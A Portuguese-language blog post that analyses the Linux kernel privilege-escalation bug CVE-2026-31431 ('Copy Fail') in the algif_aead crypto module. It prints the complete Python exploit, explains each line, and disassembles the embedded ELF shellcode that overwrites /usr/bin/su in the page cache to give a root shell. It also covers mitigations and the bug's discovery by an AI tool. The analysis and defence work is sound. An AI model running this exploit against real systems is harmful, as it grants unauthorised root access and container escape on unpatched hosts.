Na última semana a comunidade Linux foi atingida por uma daquelas vulnerabilidades que fazem todo mundo parar o que está fazendo pra prestar atenção: o Copy Fail (CVE-2026-31431), uma falha de escalada de privilégios local (LPE) que afeta praticamente todas as distribuições Linux lançadas desde 2017. Não é race condition, não precisa de offsets específicos por distro, não precisa de compilação. São 732 bytes de um script Python que, executados por qualquer usuário sem privilégios, entregam um shell de root. O mesmo script. Em qualquer distro. Sem modificação.

A falha foi encontrada e divulgada pela equipe da Theori, usando uma ferramenta de análise de código baseada em IA chamada Xint Code 1, e foi publicada em 29 de abril de 2026. Em 1 de maio, a CISA adicionou a CVE ao seu catálogo de Vulnerabilidades Exploradas Conhecidas (KEV), confirmando exploração ativa em ambiente real. O CVSS é 7.8 (Alto).

Nesse post vou fazer uma análise técnica do exploit, destrinchando o código Python linha por linha, explicando como a vulnerabilidade funciona por dentro do kernel, qual o shellcode utilizado, quais as mitigações e finalizando com uma reflexão sobre o fato de que essa falha foi descoberta por IA.

O que é o Copy Fail?

O Copy Fail é uma falha lógica no módulo algif_aead do kernel Linux, que faz parte da API criptográfica de espaço de usuário chamada AF_ALG. Essa API permite que qualquer processo, sem privilégios, acesse algoritmos criptográficos do kernel diretamente via sockets. Sem precisar de CAP_SYS_ADMIN, sem precisar ser root, sem precisar de nada além de existir como usuário no sistema.

A vulnerabilidade existe na interseção de três subsistemas independentes do kernel:

  1. authencesn: um template AEAD (Authenticated Encryption with Associated Data) usado pelo IPsec para Extended Sequence Numbers (ESN). Ele faz algo incomum: usa o buffer de destino do chamador como espaço de rascunho (scratch space) para reorganizar bytes do ESN durante a computação do HMAC.

  2. AF_ALG + splice(): a chamada splice() transfere dados entre file descriptors e pipes sem cópia, passando páginas do page cache por referência. Quando um usuário faz splice de um arquivo para um pipe e depois para um socket AF_ALG, a scatterlist de entrada do socket contém referências diretas às páginas do page cache daquele arquivo.

  3. A otimização in-place de 2017 (commit 72548b093ee3 2): em 2017, o algif_aead.c foi modificado para realizar operações AEAD “in-place”, onde req->src e req->dst apontam para a mesma scatterlist. Isso fez com que páginas do page cache, que entraram via splice, passassem a fazer parte da scatterlist de escrita.

Quando essas três coisas se encontram, o authencesn escreve 4 bytes controlados pelo atacante diretamente no page cache de qualquer arquivo legível do sistema. A operação HMAC falha (o ciphertext é fabricado), mas os 4 bytes já foram escritos e NUNCA SERÃO RESTAURADOS (atenção para esse fato) até um próximo reboot do sistema.

O kernel não marca a página corrompida como dirty para o writeback, então o arquivo em disco permanece intacto (ferramentas de integridade como AIDE/Tripwire não detectam), porém toda leitura subsequente daquele arquivo, incluindo execve(), carrega a versão corrompida que está no page cache. E como o page cache é compartilhado entre todos os processos do host, incluindo containers, isso também funciona como primitiva de escape de container.

Quem é afetado

A vulnerabilidade afeta kernels Linux desde a versão 4.14 (2017) até as versões com o patch aplicado (abril de 2026). As distribuições verificadas diretamente pela equipe da Theori foram:

Distribuição Kernel
Ubuntu 24.04 LTS 6.17.0-1007-aws
Amazon Linux 2023 6.18.8-9.213.amzn2023
RHEL 10.1 6.12.0-124.45.1.el10_1
SUSE 16 6.12.0-160000.9-default

Mas o exploit funciona em qualquer distro com kernel afetado. Eu testei nas seguintes e até a data dessa análise eram considerados vulneráveis: Debian, Archlinux, Fedora, Rocky Linux, AlmaLinux, OpenSUSE e Oracle Linux. Basicamente, se o kernel foi compilado entre 2017 e o patch, está no escopo desse exploit.

Análise do Código do Exploit

🔔 Disclaimer: Toda essa análise só foi possível graças ao trabalho extremamente detalhado da equipe do Xint/Theori 3, que explica a causa raiz, o mecanismo da falha e o fluxo do exploit com uma clareza impressionante. Além disso, também me apoiei em análises complementares da NVD 4, R-fx Networks 5, ToolsLib 6, Tenable 7 e do Debian Security Tracker 8 para entender mais sobre o problema e para algumas partes como a análise do asm do exploit. O que faço aqui é dar um detalhamento mais mastigado do código Python para quem não quer (ou não tem tempo de) mergulhar no exploit por conta própria. Dito isso, recomendo fortemente que vocês leiam o post original e tentem destrinchar o código sozinhos, é um exercício excelente de análise de segurança.

Agora vamos ao que interessa: o código completo do exploit 9. São apenas 14 linhas de Python (desconsiderando linhas em branco):

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Parece críptico? Parece. E é proposital. O código foi deliberadamente ofuscado para caber em 732 bytes. Mas por baixo dos panos, cada linha tem uma função muito clara. Vamos destrinchar isso.

Linha 1-2: Imports e aliases

#!/usr/bin/env python3
import os as g,zlib,socket as s

O script usa apenas módulos da biblioteca padrão do Python: os, zlib e socket. Nenhuma dependência externa. O os é renomeado para g e o socket para s, puramente para economizar bytes. A única exigência é Python 3.10+, pois é a versão que introduziu os.splice().

Linha 3: Helper de conversão hexadecimal

def d(x):return bytes.fromhex(x)

Uma função auxiliar simples que converte strings hexadecimais em bytes. Usada várias vezes no código para construir as estruturas binárias que o kernel espera.

Linhas 4-7: A função c(), o coração do exploit

def c(f,t,c):

Essa é a função que realiza uma escrita de 4 bytes no page cache. Os parâmetros são:

  • f: file descriptor do arquivo alvo (no caso, /usr/bin/su)
  • t: offset dentro do arquivo onde a escrita vai acontecer
  • c: os 4 bytes de payload a serem escritos

Agora vamos linha por linha dentro dessa função:

Criação do socket AF_ALG
a=s.socket(38,5,0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))

Aqui é criado um socket do tipo AF_ALG (família 38) com tipo SOCK_SEQPACKET (5). O bind() registra o algoritmo AEAD a ser usado: authencesn(hmac(sha256),cbc(aes)). Esse é exatamente o template criptográfico que possui o bug da escrita de rascunho (scratch write).

O número 38 é o valor de AF_ALG definido em include/linux/socket.h no kernel. O 5 é SOCK_SEQPACKET. Nenhum privilégio é necessário para criar esse socket.

Configuração da chave e aceitação do socket de requisição
h=279;v=a.setsockopt
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
u,_=a.accept()

h=279 é SOL_ALG, o nível de socket para opções do AF_ALG. As chamadas setsockopt:

  • v(h,1,...): ALG_SET_KEY (opção 1). Define a chave criptográfica. Os bytes 0800010000000010 seguidos de zeros formam uma chave AES válida com o cabeçalho do authenc. O conteúdo específico da chave não importa para o exploit, desde que seja aceita pelo kernel.
  • v(h,5,None,4): ALG_SET_AEAD_AUTHSIZE (opção 5). Define o tamanho do authentication tag como 4 bytes. Isso é crucial: controla quantos bytes do final do splice serão tratados como “tag” e encadeados na scatterlist de saída.

O a.accept() aceita uma conexão no socket, retornando um novo socket u que será usado para enviar e receber dados criptográficos. É assim que a API AF_ALG funciona: o socket original é usado para configuração, e o socket aceito para operações.

Construção e envio da mensagem
o=t+4
i=d('00')
u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768)

o = t + 4 calcula o tamanho total dos dados a serem enviados via splice (offset + 4 bytes para o tag). i = d('00') é simplesmente o byte \x00.

O sendmsg() é onde a mágica acontece. O primeiro argumento é o payload de dados:

  • b"A"*4: os primeiros 4 bytes do AAD (Associated Authenticated Data). Esses são os bytes 0-3, que representam o seqno_hi no protocolo ESN.
  • c: os próximos 4 bytes, que são os bytes 4-7 do AAD. Esses são os bytes que o authencesn vai escrever no page cache, pois eles representam o seqno_lo que o algoritmo copia para dst[assoclen + cryptlen].

O segundo argumento é uma lista de mensagens de controle (cmsg), todas no nível SOL_ALG (279):

  • (h,3,i*4): ALG_SET_OP (opção 3). Define a operação como decriptação (valor 0, pois i*4 = \x00\x00\x00\x00).
  • (h,2,b'\x10'+i*19): ALG_SET_IV (opção 2). Define o vetor de inicialização (IV). O \x10 é o tamanho (16 bytes), seguido de 19 bytes zero (dos quais os primeiros 16 serão usados como o IV para AES-CBC).
  • (h,4,b'\x08'+i*3): ALG_SET_AEAD_ASSOCLEN (opção 4). Define o tamanho do AAD como 8 bytes (valor \x08\x00\x00\x00 em little-endian).

O terceiro argumento, 32768, é a flag MSG_MORE, que sinaliza ao kernel que mais dados virão (via splice).

Splice do arquivo alvo para o socket
r,w=g.pipe();n=g.splice
n(f,w,o,offset_src=0)
n(r,u.fileno(),o)

Aqui está a segunda metade da montagem do ataque:

  1. Um pipe é criado com os.pipe().
  2. O primeiro splice() copia o bytes do arquivo alvo (f, que é /usr/bin/su) para a extremidade de escrita do pipe (w). O offset_src=0 garante que a leitura comece a partir do início do arquivo.
  3. O segundo splice() move esses bytes do pipe para o socket AF_ALG (u).

Isso é o que coloca as páginas do page cache** do /usr/bin/su diretamente na scatterlist de entrada do socket. As páginas não são copiadas, são passadas por referência. O kernel agora tem ponteiros diretos para o page cache do binário setuid na scatterlist que será usada pela operação AEAD.

Quando a operação in-place encadeia essas páginas na scatterlist de saída via sg_chain(), a chamada ao authencesn escreve o seqno_lo (os 4 bytes controlados pelo atacante, que vieram do parâmetro c) na posição dst[assoclen + cryptlen], que cai exatamente sobre uma página do page cache do /usr/bin/su.

Trigger da escrita e tratamento do erro
try:u.recv(8+t)
except:0

O recv() é o que dispara a operação de decriptação. O kernel:

  1. Lê os bytes do ESN (seqno_hi e seqno_lo) do AAD.
  2. Rearranja os bytes no buffer de destino para computar o HMAC.
  3. Escreve o seqno_lo na posição assoclen + cryptlen, que cai no page cache.
  4. Computa o HMAC, que falha (porque o ciphertext é fabricado/lixo).
  5. Retorna um erro.

O try/except captura o erro silenciosamente. Mas os 4 bytes já foram escritos no page cache e nunca serão restaurados. A operação criptográfica falhou, mas o efeito colateral (a escrita no page cache) é permanente.

Linhas 8-10: O payload e o loop de escrita

f=g.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

Primeiro, o arquivo /usr/bin/su é aberto como somente leitura (flag 0 = O_RDONLY). Aqui reside parte da beleza perversa do exploit: o atacante precisa apenas de permissão de leitura no arquivo. A escrita acontece no page cache, não no arquivo em si, e o kernel não verifica se o processo tem permissão de escrita.

Depois, a string hexadecimal é convertida em bytes e descomprimida com zlib. Esse blob comprimido é o que será injetado no binário su. Mas espera, o que exatamente tem dentro desse payload?

O Shellcode: O que é e o que faz

Um shellcode é um pedaço de código de máquina projetado para ser injetado e executado dentro de outro processo ou binário. O nome vem do uso original mais comum: abrir um shell (geralmente com privilégios elevados). Diferente de um programa normal que é compilado e linkado, um shellcode é tipicamente construído para ser um código independente de posição (PIC) e autocontido, funcionando independentemente de onde na memória é carregado.

Se descomprimirmos o payload manualmente no console Python, conseguimos ver exatamente o que está lá dentro:

>>> zlib.decompress(bytes.fromhex("78daab77f571...32c310d3"))
b'\x7fELF\x02\x01\x01\x00...\x31\xc0\x31\xff\xb0\x69\x0f\x05...
/bin/sh\x00\x00\x00'

Os primeiros bytes, \x7fELF, já entregam tudo: o payload é um executável ELF 64-bit completo e mínimo, que sobrescreve o início do binário original. Quando o kernel for carregar o /usr/bin/su corrompido do page cache, ele vai ler um cabeçalho ELF perfeitamente válido que aponta para o shellcode embutido logo em seguida.

Destrinchando a estrutura do ELF:

Offset Conteúdo Significado
0x00 \x7fELF\x02\x01\x01\x00 Magic ELF, 64-bit, little-endian
0x10 \x02\x00>\x00 Tipo ET_EXEC, arquitetura x86_64
0x18 0x400078 Entry point (endereço de início do código)
0x38 1 program header Segmento LOAD com flags R+X (leitura + execução)
0x78 shellcode O código de máquina real
0x96 /bin/sh\x00 String usada pelo execve

A partir do offset 0x78 (que é exatamente o entry point declarado no cabeçalho), temos o shellcode x86_64 propriamente dito. Desassemblando as instruções:

; 1. setuid(0) - define o UID efetivo como root
xor eax, eax        ; eax = 0
xor edi, edi        ; edi = 0 (argumento: uid = 0)
mov al, 0x69        ; eax = 105 (syscall setuid)
syscall             ; setuid(0)

; 2. execve("/bin/sh", NULL, NULL) - abre o shell
; O cálculo [rip+0xf] aponta dinamicamente (PIC) para o offset 0x96 do ELF
lea rdi, [rip+0xf]  ; rdi aponta para onde está a string "/bin/sh"
xor esi, esi        ; rsi = NULL (argv)
push 0x3b           ; 0x3b = 59 (syscall execve)
pop rax             ; rax = 59
cdq                 ; rdx = 0 (envp = NULL)
syscall             ; execve("/bin/sh", NULL, NULL)

; 3. exit(0) - fallback caso o execve falhe
xor edi, edi        ; edi = 0
push 0x3c           ; 0x3c = 60 (syscall exit)
pop rax             ; rax = 60
syscall             ; exit(0)

O raciocínio é direto: como o /usr/bin/su é um binário setuid-root, o kernel automaticamente define o effective UID do processo como 0 (root) antes de executar o código. O shellcode então chama setuid(0) para consolidar o real UID como root também, e na sequência executa execve("/bin/sh") pra abrir o shell. Pronto: root.

Repare que o ELF inteiro, incluindo cabeçalhos, program header, shellcode e a string /bin/sh, cabe em 158 bytes. Comprimido com zlib, vira a string hexadecimal que vemos no exploit. O código usa várias técnicas clássicas de otimização de shellcode: xor reg, reg para zerar registradores, push/pop para carregar constantes curtas, e cdq para estender o sinal de eax para edx (zerando edx quando eax é positivo, uma forma de economizar um byte em relação a xor edx, edx).

O loop de escrita funciona assim:

while i<len(e):c(f,i,e[i:i+4]);i+=4

Para cada chunk de 4 bytes do payload descomprimido, a função c() é chamada com:

  • f: o file descriptor do /usr/bin/su
  • i: o offset atual (0, 4, 8, 12, …)
  • e[i:i+4]: os próximos 4 bytes do ELF/shellcode

Cada iteração sobrescreve mais 4 bytes do page cache do su. O payload total, após descompressão, tem 158 bytes, então o loop executa 40 iterações (158 ÷ 4, arredondando pra cima). Quarenta escritas no page cache e o /usr/bin/su deixa de ser um binário de autenticação para virar um lançador de shell com root.

Linha 11: Execução e root

g.system("su")

Depois de todas as escritas no page cache, o script simplesmente executa /usr/bin/su. O kernel carrega o binário do page cache (que agora contém o shellcode), e como su é um binário setuid-root, o shellcode executa com UID 0. O resultado é um shell de root, como se nada tivesse acontecido.

E essa é a parte mais grave de tudo: do ponto de vista do sistema de arquivos, nada mudou. O arquivo em disco está intacto. Mas do ponto de vista do kernel, QUALQUER PROCESSO NO SISTEMA INTEIRO que executar /usr/bin/su a partir desse momento vai carregar a versão corrompida do page cache. Não é só o atacante que tem acesso ao binário patcheado: qualquer usuário, qualquer serviço, qualquer container no mesmo host. E isso persiste até que o sistema seja reiniciado ou a página seja evicta do cache.

Isso torna o exploit especialmente perigoso em ambientes com containers. O page cache é compartilhado entre o host e todos os containers que rodam sobre ele. Um processo não privilegiado rodando dentro de um pod Kubernetes, por exemplo, pode corromper o /usr/bin/su do host através do page cache compartilhado e escapar do isolamento do container. A partir desse momento, qualquer outro container ou processo no mesmo nó que execute su também vai carregar a versão comprometida. Um único exploit transforma um pod comprometido em um comprometimento completo do nó, e potencialmente de todo o cluster se o atacante se mover lateralmente.

Mitigação principal: atualizar o kernel

O patch definitivo é o commit a664bf3d603d 10, que reverte a otimização in-place de 2017 no algif_aead.c. A correção separa req->src e req->dst em scatterlists independentes, fazendo com que a operação AEAD volte a ser out-of-place. Com essa separação, as páginas do page cache ficam na scatterlist de entrada (somente leitura) e a escrita do authencesn vai para o buffer do usuário (inofensivo). Como o próprio commit message diz: “There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.”

Atualize o kernel para a versão disponibilizada pela sua distribuição e reinicie o sistema. Lembre-se: o page cache corrompido só é limpo no reboot.

Mitigação temporária: desabilitar o módulo

Se não for possível atualizar o kernel imediatamente, desabilite o módulo algif_aead:

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead

O que isso quebra? Para a grande maioria dos sistemas, nada. O AF_ALG é uma porta de entrada userspace para a API de criptografia do kernel, mas praticamente nada usa isso por padrão. Os subsistemas que usam criptografia no kernel (dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH, OpenSSL/GnuTLS/NSS) acessam a crypto API internamente, sem passar pelo AF_ALG.

A exceção são aplicações configuradas explicitamente para usar AF_ALG, como o OpenSSL com a engine afalg habilitada manualmente, ou certos caminhos de offload de criptografia em dispositivos embarcados. Na dúvida, verifique com lsof | grep AF_ALG ou ss -xa.

Atenção: se o algif_aead estiver compilado diretamente no kernel (CONFIG_CRYPTO_USER_API_AEAD=y) ao invés de como módulo, o método de blacklist via modprobe.d não vai funcionar. Nesse caso, a única opção real é atualizar o kernel.

Para workloads não confiáveis (containers, sandboxes, CI/CD), bloqueie a criação de sockets AF_ALG via seccomp, independentemente do status do patch.

Uma reflexão sobre IA encontrando bugs no kernel

Talvez o aspecto mais fascinante do Copy Fail não seja a vulnerabilidade em si, mas como ela foi encontrada. A equipe da Theori usou o Xint Code, uma ferramenta de auditoria de código baseada em IA, para vasculhar o subsistema crypto/ do kernel Linux. O pesquisador Taeyang Lee tinha uma intuição sobre a interação entre o subsistema criptográfico e dados do page cache, e usou a ferramenta para escalar essa análise.

O prompt usado foi surpreendentemente simples 3:

“This is the linux crypto/ subsystem. Please examine all codepaths reachable from userspace syscalls. Note one key observation: splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists.”

Em cerca de uma hora de scan, o Xint Code identificou o Copy Fail como a saída de maior severidade. E a ferramenta encontrou outras vulnerabilidades de alta severidade que ainda estão em processo de tratamento.

O que torna esse problema notável é a natureza da falha: ela existe na interseção de três subsistemas completamente independentes do kernel. O authencesn foi escrito em 2011 para IPsec. A otimização in-place do algif_aead foi adicionada em 2017 para performance. O splice() com page cache existe há ainda mais tempo. Cada mudança era razoável isoladamente. Nenhum humano conectou os três componentes em quase uma década.

Isso não deveria ser surpresa. O kernel Linux tem mais de 30 milhões de linhas de código 11. A complexidade combinatória de interações entre subsistemas vai muito além do que qualquer revisão humana manual consegue cobrir. Uma IA que consegue analisar caminhos de código entre APIs distintas, seguindo a proveniência de dados desde o userspace até operações internas do kernel, consegue encontrar exatamente esse tipo de bug: falhas que existem nas fronteiras entre componentes, onde nenhum mantenedor individual tem visão do todo.

Ironicamente, escrevi há menos de um mês um post 12 sobre a regulação do uso de IA no desenvolvimento do kernel Linux. Naquela discussão, o foco era em IA gerando código. Agora vemos IA auditando código e encontrando bugs que humanos não encontraram em quase dez anos. São dois lados da mesma moeda, e ambos vão redefinir como pensamos sobre segurança de software.

Conclusão

O Copy Fail é um daqueles bugs que faz a gente repensar várias suposições. Um arquivo aberto como somente leitura está seguro? Ferramentas de integridade de arquivos são suficientes? O kernel é “grande demais pra ter bugs simples”? O Copy Fail é uma falha lógica direta, sem race conditions, sem heap spraying, sem nada sofisticado. Só uma escrita de 4 bytes no lugar errado, repetida até permitir o root.

Se você administra qualquer sistema Linux, atualize o kernel. Se não puder atualizar agora, desabilite o algif_aead. Se roda containers em produção, revise suas políticas de seccomp. E se acha que IA em segurança é só hype, o Copy Fail é um excelente contra-argumento.

Referências

  1. Copy Fail — CVE-2026-31431 {copy.fail} (Link

  2. crypto: algif_aead - Perform in-place operation {Kernel commit 72548b093ee3, 2017} (Link

  3. Copy Fail: 732 Bytes to Root on Every Major Linux Distribution {Xint Blog, 29/04/2026} (Link 2

  4. CVE-2026-31431 Detail {NVD / NIST} (Link

  5. Copy Fail - CVE-2026-31431 {R-fx Networks Research} (Link

  6. CVE-2026-31431 Copy Fail: What You Need to Know {ToolsLib Blog, 30/04/2026} (Link

  7. Copy Fail (CVE-2026-31431): Frequently Asked Questions {Tenable Blog} (Link

  8. CVE-2026-31431 {Debian Security Tracker} (Link

  9. copy_fail_exp.py {Theori / GitHub} (Link

  10. crypto: algif_aead - Revert to out-of-place operation {Kernel commit a664bf3d603d} (Link

  11. Linux kernel {Wikipedia} (Link

  12. Linux e LLMs - Não é melhor legalizar que fingir que não existe? {Vndmtrx, 11/04/2026} (Link